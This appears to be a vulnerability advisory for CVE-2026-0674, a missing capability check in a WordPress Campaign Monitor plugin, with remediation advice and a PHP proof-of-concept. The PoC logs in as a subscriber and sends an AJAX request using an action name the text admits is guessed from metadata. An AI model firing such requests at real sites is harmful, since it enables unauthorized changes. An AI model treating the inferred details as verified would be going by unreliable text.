Atomic Edge analysis of CVE-2026-0674 (metadata-based):
This vulnerability is a missing authorization flaw in the Campaign Monitor for WordPress plugin, affecting versions up to and including 2.9.0. The vulnerability allows authenticated users with subscriber-level permissions or higher to perform an unauthorized administrative action.
Atomic Edge research indicates the root cause is a missing capability check on a WordPress hook handler. The CWE-862 classification confirms the plugin fails to verify a user’s permissions before executing a function. This analysis is inferred from the CWE and description, as the source code is unavailable. The vulnerable function is likely registered to a WordPress AJAX action or admin-post endpoint without using `current_user_can()` or a similar authorization check.
An attacker can exploit this by sending a crafted HTTP request to a specific WordPress endpoint. The most probable attack vector is the WordPress AJAX handler at `/wp-admin/admin-ajax.php`. The attacker, authenticated as a subscriber, would send a POST request with an `action` parameter targeting a plugin-specific function, such as `forms_for_campaign_monitor_*`. The exact action name is unknown, but the plugin slug suggests a pattern. No nonce verification is required due to the missing authorization.
Remediation requires adding a proper capability check to the vulnerable function. The plugin developer must modify the function to call `current_user_can()` with a capability like `manage_options` before performing any privileged operations. The function should also verify a valid nonce if the action is intended for admin users. A patch would restrict the function’s execution to users with appropriate administrative privileges.
The impact of this vulnerability is limited integrity loss. Successful exploitation allows a low-privileged user to trigger an administrative action. This action could involve modifying plugin settings, altering form data, or triggering unauthorized API calls to the Campaign Monitor service. The CVSS vector indicates no confidentiality or availability impact, and the attack requires a low-privileged authenticated account.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0674 - Campaign Monitor for WordPress <= 2.9.0 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-0674.
* This script demonstrates exploitation of a missing authorization check.
* The exact AJAX action is unknown, so this PoC uses a plausible action name based on the plugin slug.
* Assumptions: The target site has the vulnerable plugin installed, and the attacker has subscriber credentials.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS
// Step 1: Authenticate to WordPress to obtain cookies.
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 2: Send the unauthorized AJAX request.
// The action parameter is inferred. Common patterns include plugin slug prefixes.
$post_data = [
'action' => 'forms_for_campaign_monitor_admin_action' // Plausible action name
// Additional parameters required by the vulnerable function are unknown.
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query($post_data),
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Step 3: Output results.
echo "Login response length: " . strlen($response) . "n";
echo "AJAX response:n";
echo $ajax_response . "n";
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
